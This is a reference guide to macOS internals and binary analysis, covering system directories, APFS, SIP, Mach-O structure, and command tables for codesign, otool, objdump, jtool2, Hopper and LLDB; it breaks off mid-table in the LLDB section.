Practical macOS Security Researcher Notes and Guide (OSMR)
MacOS Architecture
Introduction
1. Application Layer
- AppKit: Facilitates the creation of desktop application interfaces, handling events, drawing operations, and user interface elements like buttons and text fields. For example, when you create a new document in TextEdit, AppKit is responsible for displaying the window, text editing area, and menu options.
- Notification Center: Manages the centralized delivery of notifications to the user. For example, when you receive a new email, Notification Center displays a pop-up message or updates an icon badge.
- Siri: Allows voice interaction with applications and system functions. For example, you can ask Siri to send a message, set reminders, or launch applications.
- Sharing & Full Screen: Supports easy content sharing to other applications or services and manages applications in full-screen mode. For example, using the Share button in Safari to post a webpage link to Twitter.
- Auto Layout: Dynamically calculates the size and position of all the views in your window based on constraints. For example, ensuring a button stays at the bottom right corner of a window, regardless of window size changes.
- Popovers & Configuration: Handles transient views that appear above other content, and manages application configurations. For example, a settings popover in Mail that allows adjusting mail sorting preferences.
2. Media Layer
- AV Foundation: Manages and plays audio-visual media. For example, playing a video file in QuickTime Player.
- Core Animation: Provides fluid animation for user interface elements. For example, smooth transitions when you minimize a window or open Mission Control.
- Core Audio: Handles audio operations system-wide. For example, managing audio streams and volume control across all running applications.
- Core Image: Used for high-performance image processing, which allows quick filtering and effects in applications like Photos.
- Core Text: Manages text layout and font rendering; crucial for reading and editing text in any app that displays large amounts of text.
- Metal: Optimizes graphics and compute operations by leveraging the GPU. For example, accelerating graphics rendering in games or graphical applications.
3. Core Services
- Address Book: Stores and retrieves user contact information. For example, when a user saves a new contact in the Contacts app, it is stored in the Address Book database.
- Core Foundation: Provides fundamental data types and collections, like strings and arrays, crucial for app development. For example, managing data structures in any app.
- Quick Look: Allows users to preview documents or images quickly without opening them in a dedicated app, like previewing PDF files in Finder.
- Social: Provides frameworks to integrate with social media platforms. For example, sharing images directly from Preview to Facebook.
- Webkit: Powers the Safari browser; handles HTML content rendering and JavaScript execution.
4. Core OS
- Accelerate: Optimizes large-scale mathematical computations, improving performance in scientific and financial software.
- Directory Services: Manages user accounts and permissions. For example, when logging in, Directory Services verifies user credentials.
- Disk Arbitration: Manages access to disk volumes to prevent file system corruption. For example, it ensures that a disk is not ejected while files are being written to it.
5. Kernel & Device Drivers
- BSD: Provides networking, security, and file system support. For example, BSD sockets are used for network communication in apps like Mail and Safari.
- Mach: The core around which macOS is built, handling low-level tasks like memory management and process scheduling. For example, Mach allocates memory when you open an app and schedules CPU time for it to run.
- Networking & Security: Includes components that handle secure network communications and data encryption. For example, establishing encrypted connections over Wi-Fi.
- File System Management: The file system manages the storage of data in an organized manner so that it can be easily accessed, modified, and managed. It handles operations such as reading, writing, creating, and deleting files and directories.
System Directories
POSIX Directories
/bin, /usr/bin: Contains essential user-executable binaries like shell commands and utilities./sbin, /usr/sbin: Holds system administration binaries essential for system maintenance and operations./usr/lib: Stores dynamic libraries (.dylibs) that provide functionality for multiple applications./tmp: A temporary directory, cleared at reboot, with a sticky bit set to prevent deletion of files by non-owners./var: Includes logs, configuration files, and user-specific temporary files. Root’s home directory is/var/root.
macOS Directories
/Applications: Standard location for user-installed applications accessible to all users./System: Contains macOS’s core components, like system files and libraries, protected by System Integrity Protection (SIP)./Users: Home directories for all users, with personal files, settings, and documents./Library: Stores system-wide application support files and libraries./System/Applicationsand/System/Cryptexes/App/System/Applications: Host core system applications, with certain apps in a secure cryptex for added security.
Launch Agents and Daemons
/System/Library/LaunchDaemons,/System/Library/LaunchAgents: System-level agents and daemons that execute automatically./Library/LaunchDaemons,/Library/LaunchAgents: For third-party daemons and agents that run at startup or login.~/Library/LaunchAgents: User-specific agents that auto-run at user login.
Application Data and Support
/Library/Application Support: Contains application support files and data for applications running as root.~/Library/Application Support: User-specific application support files and data.~/Library/Containers: Sandboxed applications are stored here, with strict filesystem access limitations.
Frameworks and Extensions
/System/Library/Frameworks,/System/Cryptexes/OS/System/Library/Frameworks: Home to system frameworks used by applications./System/Library/PrivateFrameworks,/System/Cryptexes/OS/System/Library/PrivateFrameworks: Contains private frameworks not for public use, restricted from Mac App Store applications./Library/Extensions,/System/Library/Extensions: Locations for kernel extensions (KEXTs), including third-party extensions.
Special and Security Directories
/Library/PrivilegedHelperTools: Where third-party daemons that need root privileges reside./usr/bin,/usr/sbin,/bin,/sbin: Core system binaries for both user commands and system administration./private: Contains sensitive directories such as/private/etc,/private/var, and/private/tmpthat manage configuration, variable data, and temporary files.
Kernel and Kernel Extensions
/System/Library/Kernels/kernel: The location of the macOS kernel./System/Library/Extensions,/System/Cryptexes/OS/System/Library/Extensions: Directories for Apple’s kernel extensions.
Apple Properity File System (APFS)
The Apple File System (APFS) is an advanced file system introduced by Apple with macOS High Sierra in 2017. It was designed to replace the older Hierarchical File System Plus (HFS+) to better accommodate the modern storage technologies and to enhance performance, reliability, and scalability. APFS operates on the concept of containers and volumes. A single APFS container can house multiple volumes that share the container’s free space. Volumes under APFS are flexible and can grow and shrink dynamically, unlike traditional partitions. This adaptability is crucial for devices with limited storage capacities like mobile devices.
- Check disk:
diskutil list
- Output:
/dev/disk0 (internal, physical):
#: TYPE NAME SIZE IDENTIFIER
0: GUID_partition_scheme *500.3 GB disk0
1: EFI EFI 209.7 MB disk0s1
2: Apple_APFS Container disk1 500.1 GB disk0s2
/dev/disk1 (synthesized):
#: TYPE NAME SIZE IDENTIFIER
0: APFS Container Scheme - +500.1 GB disk1
Physical Store disk0s2
1: APFS Volume Macintosh HD 250.4 GB disk1s1
2: APFS Volume Preboot 20.5 MB disk1s2
3: APFS Volume Recovery 1.0 GB disk1s3
4: APFS Volume VM 20.5 GB disk1s4
/dev/disk0: This represents the physical disk.disk0is usually the primary hard drive.GUID_partition_scheme: The partition layout used, suitable for both Intel-based and ARM-based Macs.EFI: A small partition that contains boot files.Apple_APFS Container disk1: AnAPFScontainer that spans nearly the entire disk.
/dev/disk1(synthesized): This is theAPFScontainer synthesized view, showing volumes within the container.APFS Container Scheme: Shows thatdisk1is an APFS container.Physical Store disk0s2: Indicates that this container is located ondisk0s2.APFSVolumes (Macintosh HD,Preboot,Recovery,VM): These are logical volumes within theAPFScontainer, each serving different purposes like system storage, boot management, system recovery, and virtual memory respectively.
System Volume Protection
macOS leverages several robust mechanisms to safeguard its core system files, primarily through System Integrity Protection (SIP), also known as rootless mode. SIP’s primary function is to prevent modifications to crucial system files and directories, even by the superuser (root).
System Volume Protections in macOS
macOS employs robust mechanisms like System Integrity Protection (SIP), also known as rootless mode, to protect its core system files. SIP’s primary role is to prevent unauthorized modifications to critical system files and directories, even by the superuser (root).
Using ls with SIP Protection Flags
Using the ls -lO command can reveal which directories are protected by SIP:
- Check directories are protected by SIP:
-
user@mac ~ % ls -lO /
Output:
total 0
drwx------ 10 root wheel restricted,hidden 320 Oct 18 05:36 System
drwxr-xr-x 39 root wheel restricted,hidden 1248 Oct 18 05:36 bin
drwxr-xr-x 65 root wheel sunlnk 2080 Dec 2 03:26 Library
drwxr-xr-x 14 root admin sunlnk 448 Dec 5 08:28 Applications
drwxr-xr-x 5 root admin sunlnk 160 Dec 2 02:40 Users
drwxr-xr-x 4 root wheel hidden 128 Dec 12 03:34 Volumes
The restricted flag denotes that the directory is protected under SIP, preventing any modifications. The sunlnk and hidden flags indicate directories with special attributes but not necessarily SIP protection.
Using diskutil to Explore APFS Configurations
Command:
diskutil apfs list
Output:
APFS Container (1 found)
|
+-- Container disk1
APFS Container Reference: disk1
Size (Capacity Ceiling): 500 GB
Capacity In Use By Volumes: 150 GB (30% used)
Capacity Not Allocated: 350 GB (70% free)
|
+-> Volume disk1s1
Name: Macintosh HD - Data
Role: Data
Mount Point: /System/Volumes/Data
Capacity Consumed: 100 GB
FileVault: No
|
+-> Volume disk1s2
Name: Preboot
Role: Preboot
Mount Point: /System/Volumes/Preboot
Capacity Consumed: 2 GB
|
+-> Volume disk1s4
Name: Macintosh HD
Role: System
Mount Point: Not Mounted
Capacity Consumed: 11 GB
Sealed: Yes
- Data Volume: User-accessible files, non-critical system files.
- System Volume: Core system files, not mounted directly but
Verifying System Integrity and Cryptographic Seals
macOS further secures system integrity through cryptographic seals, which can be checked using csrutil:
Command:
csrutil authenticated-root status
Output:
Authenticated Root status: enabled
This confirms that the system’s root volume is cryptographically authenticated, ensuring that the core system files are untouched and secure from alterations.
Mounted File System Attributes
Command:
user@mac ~ % mount
Output:
/dev/disk1s4s1 on / (apfs, sealed, local, read-only, journaled)
devfs on /dev (devfs, local, nobrowse)
/dev/disk1s2 on /System/Volumes/Preboot (apfs, local, journaled, nobrowse)
/dev/disk1s6 on /System/Volumes/VM (apfs, local, noexec, journaled, noatime, nobrowse)
/dev/disk1s5 on /System/Volumes/Update (apfs, local, journaled, nobrowse)
/dev/disk1s1 on /System/Volumes/Data (apfs, local, journaled, nobrowse)
map auto_home on /System/Volumes/Data/home (autofs, automounted, nobrowse)
.host:/VMware Shared Folders on /Volumes/VMware Shared Folders (vmhgfs)
- Sealed: The system volume is cryptographically sealed to prevent tampering.
- Read-only: The root volume is mounted as read-only to ensure no changes can be made during normal operation, reinforcing its integrity.
- Journaled: This attribute helps protect the integrity of the file system by keeping a continuous log (journal) that tracks changes to the file system.
Cryptexes: CRYPTographically-sealed EXtensions
Introduced in macOS Ventura, Cryptexes represent a novel approach to handling system updates and security Cryptexes are signed disk images that contain system files or applications and can be updated independently of the system.
Command Checking Cryptexes:
user@mac ~ % ls -l /System/Cryptexes
Output:
lrwxr-xr-x 1 root wheel 42 Oct 18 05:36 App -> ../../System/Volumes/Preboot/Cryptexes/App
lrwxr-xr-x@ 1 root wheel 41 Oct 18 05:36 OS -> ../../System/Volumes/Preboot/Cryptexes/OS
These links show that Cryptexes are not traditionally mounted within the regular file system structure visible to the user, highlighting their specialized role and enhanced security measures.
Firmlinks
Firmlinks are a special type of symbolic link used by macOS to seamlessly integrate the read-only system volume with the writable data volume. This allows the operating system to maintain a clear separation between system files (which need to be protected from modifications to ensure system integrity) and user data (which needs to be freely writable by the user).
- Check Firmlinks:
cat /usr/share/firmlinks
- Output
/AppleInternal AppleInternal /Applications Applications /Library Library /System/Library/Caches System/Library/Caches /System/Library/Assets System/Library/Assets /System/Library/PreinstalledAssets System/Library/PreinstalledAssets /System/Library/AssetsV2 System/Library/AssetsV2 /System/Library/PreinstalledAssetsV2 System/Library/PreinstalledAssetsV2 /System/Library/CoreServices/CoreTypes.bundle/Contents/Library System/Library/CoreServices/CoreTypes.bundle/Contents/Library /System/Library/Speech System/Library/Speech /Users Users /Volumes Volumes /cores cores /opt opt /private private /usr/local usr/local /usr/libexec/cups usr/libexec/cups /usr/share/snmp usr/share/snmp
On the left is the directory path on the System volume, and on the right, Is the directory path where it maps on the Data volume.
- Confirm directory with
inode:
On System volume
ls -li /System/Volumes/Data/usr/
18524916 drwxr-xr-x 4 root wheel 128 Feb 5 16:51 local
inode -> 18524916
On the data volume
ls -li /usr
18524916 drwxr-xr-x 4 root wheel 128 Feb 5 16:51 local
inode -> 18524916
PLIST Files
Convert Binary plist:
Convert to xml
plutil -convert xml1 ~/your_plist_binary -o -
Convert to json
plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -
Convert to swift
plutil -convert swift ~/Library/Preferences/com.apple.screensaver.plist -o -
Convert to objective-c
plutil -convert objc ~/Library/Preferences/com.apple.screensaver.plist -o -
Bundles
Bundles are .app bundle, but many other executables are also packaged as bundles, such as .framework and .systemextension.
Dyld
Extract dyld-cache:
dyld-shared-cache-extractor /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_{arch} /tmp/libraries
Mach-O File Format
The main 3 parts of Mach-o Fiel format:
Introduction
The Mach-O file format is the native executable format for macOS and iOS operating systems. Standing for Mach Object, the Mach-O format supports executable files, shared libraries, dynamically-loaded libraries, and object code for macOS. The design of this file format is heavily influenced by its focus on performance and the compatibility with the Mach kernel, which is part of the XNU kernel that powers Apple’s operating systems.
- Check File:
zeyad@azima% file /bin/pwd
/bin/pwd: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
/bin/pwd (for architecture x86_64): Mach-O 64-bit executable x86_64
/bin/pwd (for architecture arm64e): Mach-O 64-bit executable arm64e
Universal Binaries
Universal binaries, also known as fat binaries, are unique to the Mach-O format. These binaries contain code for multiple architectures (like x86_64 and ARM) in a single file. This capability allows developers to build applications that can run on different types of hardware without the need for separate executables. The structure of a universal binary is essentially a container that includes multiple Mach-O files, each optimized for a specific processor architecture.
Mach-O Header
The Mach-O header is the starting point of any Mach-O file. It contains essential metadata about the file, such as the type of file (executable, object file, shared library), its architecture (ARM, x86_64, etc.), and the number of load commands. The header plays a crucial role in how the operating system processes and handles the Mach-O file during loading and execution.
Dump the Mach-O Header information using otool
otool -arch {x86_64/arm64e} -hv /path_to_binary
Mach-O LOAD Command
Load commands within a Mach-O file instruct the loader on how to map the file’s contents into memory. These commands are vital for the dynamic linker to resolve symbols and connect dynamic libraries at runtime. Typical load commands include specifying the entry point of the executable, required dynamic libraries, and segment information such as the location and permissions of different sections of the file, There are around 50 type of load commands, But the most common ones:
-
LC_SEGMENT_64: This command is used to define a segment of memory that includes one or more sections. Each segment can contain executable code, data, or other resources needed by the executable or library. This command is specifically for
64-bitarchitectures. -
LC_LOAD_DYLINKER: This command specifies the dynamic linker (
dyld) that the system uses to load and link the shared libraries required by the executable at runtime. This is essential for resolving the dynamic dependencies of the application. -
LC_MAIN: Introduced with the newer
Mach-Ofile formats, this command points to the entry point of the main function, replacing the older entry point mechanism used in earlier versions. It specifies where the execution of the program begins. -
LC_LOAD_DYLIB: This command provides the paths to the dynamic libraries (
dylibs) that the executable depends on. These libraries are loaded by the dynamic linker during the execution of the application. -
LC_CODE_SIGNATURE: This command contains the offset and size of the code signature used by the operating system to verify the integrity and origin of the code in the Mach-O file. This is crucial for security purposes, ensuring that the code has not been tampered with.
- Dump load command with
otool:
otool -lv /path_to_binary
- Dump libraries in
LC_LOAD_DYLINKER:
otool -L /path_to_binary
Mach-O Data
The data in Mach-O files is organized into segments and sections. Segments are larger chunks of data with specific roles, like containing internal & external functions information, symbol table, executable code or read-only data. Each segment can be further divided into sections that hold smaller, more specific blocks of data. This hierarchical structure allows for efficient data management and access, crucial for performance during execution.
- Dump all segments and sections using
otool:
otool -m /path_to_binary
- Example:
Segment __PAGEZERO: 4294967296 (zero fill)
Segment __TEXT: 32768
Section __text: 15384
Section __auth_stubs: 1344
Section __const: 212
Section __cstring: 1268
Section __unwind_info: 212
total 18420
Segment __DATA_CONST: 16384
Section __auth_got: 672
Section __got: 48
Section __const: 616
total 1336
Segment __DATA: 16384
Section __data: 32
Section __common: 176 (zerofill)
Section __bss: 336 (zerofill)
total 544
Segment __LINKEDIT: 32768
total 4295065600
The __PAGEZERO segment plays a crucial role in security. It sets up a memory area called the zero page at the very start of the address space for each process, but it makes this page completely unusable. The memory protection settings for this page are set to zero, meaning nothing can be read from, written to, or executed on this page. This design helps prevent security flaws, specifically NULL pointer dereference vulnerabilities, by ensuring that any attempt to access this low memory area will lead to an error, rather than allowing potentially harmful operations.
Explaining
| Segment | Size (Bytes) | Description |
|---|---|---|
| __PAGEZERO | 4294967296 | A zero-fill segment that protects against NULL pointer dereferences. |
| __TEXT | 32768 | Contains executable code and read-only data. |
| > __text | 15384 | The main body of executable code. |
| > __auth_stubs | 1344 | Stubs for authenticated pointers (part of code signing). |
| > __const | 212 | Read-only data constants. |
| > __cstring | 1268 | String literals, stored in a read-only section. |
| > __unwind_info | 212 | Information for stack unwinding during exceptions. |
| __DATA_CONST | 16384 | Read-only data that was originally in the __DATA segment. |
| > __auth_got | 672 | Authenticated pointers’ global offset table. |
| > __got | 48 | Non-authenticated global offset table for dynamic linking. |
| > __const | 616 | Constants that are now placed in a read-only section for security. |
| __DATA | 16384 | Contains mutable data accessed during execution. |
| > __data | 32 | Modifiable data used by the program. |
| > __common | 176 | Uninitialized data (zero-filled) used for global variables. |
| > __bss | 336 | Uninitialized data that does not occupy space in the file (zero-fill). |
| __LINKEDIT | 32768 | Contains raw data like symbol tables and string tables for dynamic linking. |
MacOS Binary Static Analysis
Codesign
| Command | Example Usage | Explanation |
|---|---|---|
codesign -d |
codesign -d /Applications/Automator.app |
Displays the code signature of the application. Useful for checking basic signature details without any modifications or verbose details. |
codesign -dv |
codesign -dv /System/Applications/Automator.app |
Displays the code signature with verbose information about the application. It provides more detailed insights into the signed application including platform identifiers and signature sizes. |
codesign -dvv |
codesign -dvv /System/Applications/Automator.app |
Increases the verbosity level further, showing even more detailed information like the authorities under which the app was signed. |
codesign -d --entitlements :- |
codesign -d --entitlements :- /System/Applications/Automator.app |
Displays the entitlements in a human-readable XML format. This is crucial for understanding what permissions the application has on a macOS system. |
Objdump
| Command | Example Usage | Explanation |
|---|---|---|
objdump -m |
objdump -m /path/to/binary |
Instructs objdump to parse the file as a Mach-O file. Use this when you need to analyze Mach-O formatted files specifically. |
objdump --dylibs-used |
objdump --dylibs-used /path/to/binary |
Lists the dynamic libraries (dylibs) that the binary depends on. Useful for understanding external dependencies of an executable or library. |
objdump -h |
objdump -h /path/to/binary |
Displays the headers of the sections of the Mach-O file. Use this to see detailed information about each section in the file, such as its size and address. |
objdump --syms |
objdump --syms /path/to/binary |
Displays the symbol table of the binary. This is useful for seeing all the symbols used in the file, including functions and variables, which can help with debugging and reverse engineering efforts. |
objdump --disassemble |
objdump --disassemble /path/to/binary |
Disassembles the executable sections of the binary. Use this command when you need to analyze the assembly code within the binary for a deeper understanding of its operation. |
objdump --full-contents |
objdump --full-contents /path/to/section |
Dumps the raw contents of specified sections. This is particularly useful when you need to inspect the actual data or code within a section of the binary. |
objdump --section-headers |
objdump --section-headers /path/to/binary |
Displays information about the header of each section in the binary. Useful for a quick overview of the section layout and characteristics. |
objdump --disassemble-functions=function_name --x86-asm-syntax=intel/att |
objdump --disassemble-functions=_main --x86-asm-syntax=intel/att /path/to/binary |
Disassembles a specific function within the binary. Useful when focusing on particular pieces of code for detailed analysis or debugging. |
Jtool2
| Command | Example Usage | Explanation |
|---|---|---|
jtool2 -l |
jtool2 -l /path/to/binary |
Lists all load commands and section details of a Mach-O file. Useful for getting a quick overview of the binary’s structure and contents. |
jtool2 -L |
jtool2 -L /path/to/binary |
Displays the dynamic libraries (dylibs) that the binary links against. Essential for understanding external dependencies. |
jtool2 -S |
jtool2 -S /path/to/binary |
Shows the symbol table of the binary, including both local and external symbols. Valuable for debugging and reverse engineering. |
jtool2 -v |
jtool2 -v /path/to/binary |
Provides verbose output for the given file, including detailed information on the binary’s headers, load commands, and more. |
ARCH=arch jtool2 --sig |
ARCH=x86_64 jtool2 --sig /path/to/binary |
Displays the code signature information, including certificate details, hashes, and more. Useful for security analysis. |
jtool2 --ent |
jtool2 --ent /path/to/binary |
Outputs the entitlements used by the binary in XML format. Crucial for assessing the permissions granted to the application. |
jtool2 -d |
jtool2 -d /path/to/binary |
Dumps disassembled code from the binary. Note that this is primarily intended for ARM binaries and might not fully support other formats. |
jtool2 --objc |
jtool2 --objc /path/to/binary |
Analyzes and outputs Objective-C runtime information, such as classes, methods, and protocols. |
jtool2 --analyze |
jtool2 --analyze /path/to/binary |
Performs an in-depth analysis of the binary, providing insights into potential vulnerabilities or unusual patterns in the code. |
Hopper
Lables
Address: This is the hexadecimal address of the label within the binary’s memory space. It points to where the label, which can be a function, a variable, or a marker, is located in the disassembled code.Type: Indicates the nature of the label. Common types include:S(Symbol) for named points in the code which could represent functions or markers placed by the compiler or the disassembler.A(Array) denoting the beginning of an array data structure.P(Procedure) representing the start of a procedure or function.D(Data) for locations that are marked to hold data rather than executable code.
Name: This is the name assigned to the label. It could be a name given by the programmer, or it could be a name generated by Hopper based on the label’s usage or content. For example:__mh_execute_headertypically marks the start of theMach-Oheader inmacOSexecutables._mainis the name conventionally given to the starting point of a C or C++ program.printfanddyld_stub_bindersuggest imported functions used for printing to the console and dynamic linking, respectively.
Functions
Idx(Index): This is a sequential number assigned to each procedure for easy reference. It typically starts from 0 and increments by 1 for each procedure discovered in the binary.Name: The name of the procedure, which can be the one assigned by the programmer or inferred from debugging symbols or imports within the binary. In this case, you have _main, which is typically the entry point for C programs, and printf, a standard C library function for printing formatted output to the console.Block: Indicates the basic block count within the procedure. A basic block is a straight-line code sequence with no branches in except to the entry and no branches out except at the exit. In the provided image, both _main and printf are part of one basic block.Size: Represents the size of the procedure in bytes. This tells you how much space the compiled machine code for this procedure occupies. _main is 28 bytes, while printf is 6 bytes.
Strings
- Readabble Strings extracted from the binary
Disassembly view
Graphical View
Decompiling
Hex view
External functions Resolution
-
External function
printf -
Double clicking on
imp___stubs__printftake us to the pointer: -
Double cliuck on
-printf_ptrtake us to the__la_symbol_ptrsection, which contains a list of external pointers.
And here where dynamic loader (dyld) will populate the address of the external function.
Useful table for static analysis with hopper
| Feature | Menu Path | Shortcut | Description |
|---|---|---|---|
| New | File > New | Cmd + N | Creates a new file/workspace in Hopper. |
| Open | File > Open… | Cmd + O | Opens an existing file for disassembling. |
| Open Recent | File > Open Recent | Provides a submenu to open recently accessed files. | |
| Save | File > Save | Cmd + S | Saves the current state of the workspace. |
| Save As… | File > Save As… | Shift + Cmd + S | Saves the current workspace as a new file. |
| Import Types… | File > Import Types… | Imports type declarations from another file. | |
| Export Types… | File > Export Types… | Exports type declarations to a file. | |
| Import Types from C-like Header File… | File > Import Types from C-like Header File… | Imports types from a C-like header file to use in disassembly annotations. | |
| Export Objective-C Header File… | File > Export Objective-C Header File… | Exports an Objective-C header file based on the classes and methods detected in the binary. | |
| Produce Assembly Text File… | File > Produce Assembly Text File… | Generates an assembly listing of the entire binary or selected portion to a text file. | |
| Produce Assembly For Current Procedure… | File > Produce Assembly For Current Procedure… | Outputs the assembly code for the currently selected procedure to a text file. | |
| Produce Pseudo-Code File For Current Procedure… | File > Produce Pseudo-Code File For Current Procedure… | Generates pseudo-code for the current procedure and exports it to a file. | |
| Read Executable to Disassemble… | File > Read Executable to Disassemble… | Shift + Cmd + O | Opens a dialog to select an executable file specifically for disassembly. |
| Read File From DYLD Cache… | File > Read File From DYLD Cache… | Allows reading and disassembling of binaries directly from the DYLD shared cache. | |
| Copy | Edit > Copy | Cmd + C | Copies the selected content to the clipboard. |
| Copy Hex String of Selected Bytes | Edit > Copy Hex String of Selected Bytes | Cmd + Shift + C | Copies the selected bytes as a hexadecimal string to the clipboard. |
| Select All | Edit > Select All | Cmd + A | Selects all content in the current context or field. |
| Select Procedure | Edit > Select Procedure | Cmd + Shift + A | Selects the entire procedure (function) that the cursor is currently in. |
| Mark as Code | Modify > Code > Code | Cmd + P | Interprets the selected bytes as executable code. |
| Mark as Data Array | Modify > Data > Array | Cmd + Shift + D | Marks the selection as a data array, interpreting the bytes as a series of data elements. |
| Mark as NULL-Terminated C String | Modify > Data > NULL-Terminated C String | Cmd + Shift + A | Interprets the selected bytes as a NULL-terminated C string. |
| Mark as Unicode String | Modify > Data > Unicode String | Cmd + Shift + U | Marks the selection as a Unicode string, interpreting the bytes as characters in Unicode encoding. |
| Assemble Instruction… | Modify > Assemble Instruction… | Cmd + Shift + A | Opens a dialog allowing you to input and compile assembly instructions to replace existing code at the selection. |
| Go To Address or Symbol… | Navigate > Go To Address or Symbol… | G | Jumps to the inputted address or symbol within the binary. |
| Go To File Offset… | Navigate > Go To File Offset… | Shift + G | Moves to the specified file offset, allowing for precise navigation based on file structure. |
| Show Segment List… | Navigate > Show Segment List… | Cmd + S | Displays a list of all segments in the binary. |
| Show Section List… | Navigate > Show Section List… | Shift + Cmd + S | Displays a list of all sections in the binary. |
| Next Code | Navigate > Next Code | Cmd + C | Jumps to the next chunk of code in the binary. |
| Next Data | Navigate > Next Data | Cmd + D | Jumps to the next data section in the binary. |
| Next Procedure | Navigate > Next Procedure | Cmd + P | Moves to the next defined procedure or function. |
| References To Highlighted Word… | Navigate > References To Highlighted Word… | Cmd + R | Lists all the references to the currently highlighted word in the code. |
| Search for Symbol… | Navigate > Search for Symbol… | Cmd + F | Opens a search dialog to quickly find symbols within the binary. |
| Show Control Flow Graph | Window > Show Control Flow Graph | Space | Displays the control flow graph for the current procedure. |
| Show Pseudo Code of Procedure | Window > Show Pseudo Code of Procedure | Cmd + Option + P | Opens the pseudo code representation of the current procedure. |
| Show Hexadecimal Editor | Window > Show Hexadecimal Editor | Cmd + Option + H | Opens the hexadecimal view of the binary. |
MacOS Binary Dynamic Analysis
Debugging Rules
The rules for debugging applications on macOS;
- Debugging Signed Applications with Entitlements:
- Applications that are signed and have the
com.apple.security.get-task-allowentitlement can be debugged by a standard user. This entitlement specifically allows other processes, like debuggers, to attach to the application. Xcode automatically adds this entitlement to apps when they are built for development.
- Applications that are signed and have the
- Applications Protected by SIP:
- System Integrity Protection (SIP) restricts debugging of system binaries or those signed with hardened runtime unless the target application has the
com.apple.security.get-task-allowentitlement. To debug such applications, the debugger itself must have thecom.apple.security.cs.debuggerentitlement.
- System Integrity Protection (SIP) restricts debugging of system binaries or those signed with hardened runtime unless the target application has the
- Debugging Non-Protected Applications:
- Applications not protected by SIP and without the
com.apple.security.get-task-allowentitlement can still be debugged if the user runs the debugger as root or authenticates as an admin.
- Applications not protected by SIP and without the
- Limitations on Debugging System Binaries or Hardened Runtime Applications:
- You cannot debug system binaries or applications signed with hardened runtime as part of Apple’s notarization requirements, unless they have the
com.apple.security.get-task-allowentitlement.
- You cannot debug system binaries or applications signed with hardened runtime as part of Apple’s notarization requirements, unless they have the
- Notarization:
- Notarization is an Apple security process for scanning applications for malicious content before distribution. If an app is not notarized, Gatekeeper may block its execution to protect the system.
- Disabling SIP:
- While disabling SIP would technically allow debugging of any application, it is not recommended. SIP provides critical protections beyond just debugging restrictions, including protecting core system files and preventing unsigned kernel extensions from loading. Disabling SIP significantly weakens macOS security.
LLDB
Esssentail Start
| Category | Name | Command | Shortcut | Description |
|---|---|---|---|---|
| Essential Start | ||||
| Open Executable | target create |
(lldb) target create "./executable" |
Loads a new executable for debugging. | |
| Attach Process | process attach |
(lldb) process attach --pid <PID> |
Attaches the debugger to an existing process by PID. | |
| Stop Debugging | process kill |
(lldb) process kill |
Terminates the current debugging session. | |
| Go | process continue |
(lldb) process continue |
c |
Continues execution after a breakpoint or pause. |
| Restart | process launch |
(lldb) process launch --stop-at-entry |
Restarts the current debugging session and stops at the entry point. | |
| Step Into | thread step-in |
(lldb) thread step-in |
si |
Executes one line or instruction at a time, stepping into functions. |
| Step Over | thread step-over |
(lldb) thread step-over |
ni |
Executes the next line or instruction, stepping over function calls. |
| Step Out | thread step-out |
(lldb) thread step-out |
finish |
Continues execution until the current function completes. |
| Monitoring & Debugging Windows | ||||
| Command Interface | LLDB console |
Access through terminal or IDE console | The primary interface for all LLDB commands. | |
| Watchpoint Set | watchpoint set |
(lldb) watchpoint set variable myVar |
Sets a watchpoint for a variable to monitor its value changes. | |
| View Local Variables | frame variable |
(lldb) frame variable |
Displays local variables in the current frame. | |
| View Registers | register read |
(lldb) register read |
Displays the values of CPU registers. | |
| View Memory | memory read |
(lldb) memory read <ADDRESS> |
Allows examination of memory contents. | |
| View Call Stack | bt |
(lldb) bt |
Displays the current call stack. | |
| View Disassembly | disassemble |
(lldb) disassemble --name main |
Shows disassembled code for a function. | |
| Advanced Usage & Customization | ||||
| Python Scripting | command script |
(lldb) command script add -f my_script.my_func my_cmd |
Adds a custom command using a Python function. | |
| Aliases & Shortcuts | command alias |
(lldb) command alias b breakpoint set |
Creates custom aliases for existing commands. | |
| LLDB Init File | ~/.lldbinit |
Include commands in ~/.lldbinit |
Loads custom LLDB settings and commands on startup. | |
| Extend LLDB | Custom Python scripts | Use script command to run Python |
Write and run Python scripts for complex debugging tasks. |
Symbols
| Category | Command/Action | Description | Example |
|---|---|---|---|
| Symbol Configuration | |||
| Set Symbol File Path | target symbols add |
Adds a new symbol file to the current target. | (lldb) target symbols add /path/to/symbols |
| Append Symbol Search Path | settings set target.exec-search-paths |
Appends new paths to the symbol search paths. | (lldb) settings set target.exec-search-paths /path/to/symbols |
| Reload Symbols | target modules reload |
Reloads symbol information for a specific module. | (lldb) target modules reload --filename libmylib.dylib |
| List Symbol Search Paths | settings show target.exec-search-paths |
Displays the current symbol search paths. | (lldb) settings show target.exec-search-paths |
| Clear All Symbol Information | target symbols clear |
Clears all symbol information from the current target. | (lldb) target symbols clear |
Display & Manupilating ( CPU & Memory):
| Category | Command/Action | Description | Example |
|---|---|---|---|
| Memory Examination | |||
| Disassemble Memory | disassemble --start-address |
Disassembles code starting from a specified address. | (lldb) disassemble --start-address 0x00400000 |
| Read Memory | memory read |
Displays memory content at a specified address. | (lldb) memory read 0x00400000 |
| Write Memory | memory write |
Writes data to a specified memory address. | (lldb) memory write 0x00400000 0x90 |
| Memory Dumping | |||
| Dump Memory as Bytes | memory read --format b |
Reads memory content as bytes. | (lldb) memory read --format b 0x00400000 |
| Dump Memory as Words | memory read --format w |
Reads memory content as 16-bit words. | (lldb) memory read --format w 0x00400000 |
| Dump Memory as Double Words | memory read --format W |
Reads memory content as 32-bit double words. | (lldb) memory read --format W 0x00400000 |
| Dump Memory as Quad Words | memory read --format q |
Reads memory content as 64-bit quad words. | (lldb) memory read --format q 0x00400000 |
| Dump Memory as Pointers | memory read --format p |
Reads memory content as pointer values. | (lldb) memory read --format p 0x00400000 |
| Searching in Memory | |||
| Search for Byte Pattern | memory find |
Searches memory for a specific byte pattern. | (lldb) memory find 0x00400000 0x00401000 0x90 |
| Search for ASCII String | memory find --string |
Searches memory for an ASCII string. | (lldb) memory find --string 0x00400000 0x00401000 "Hello" |
| CPU Registers Manipulation | |||
| Show All Registers | register read |
Displays all CPU registers. | (lldb) register read |
| Read Specific Register | register read |
Displays a specific register value. | (lldb) register read eax |
| Write to Register | register write |
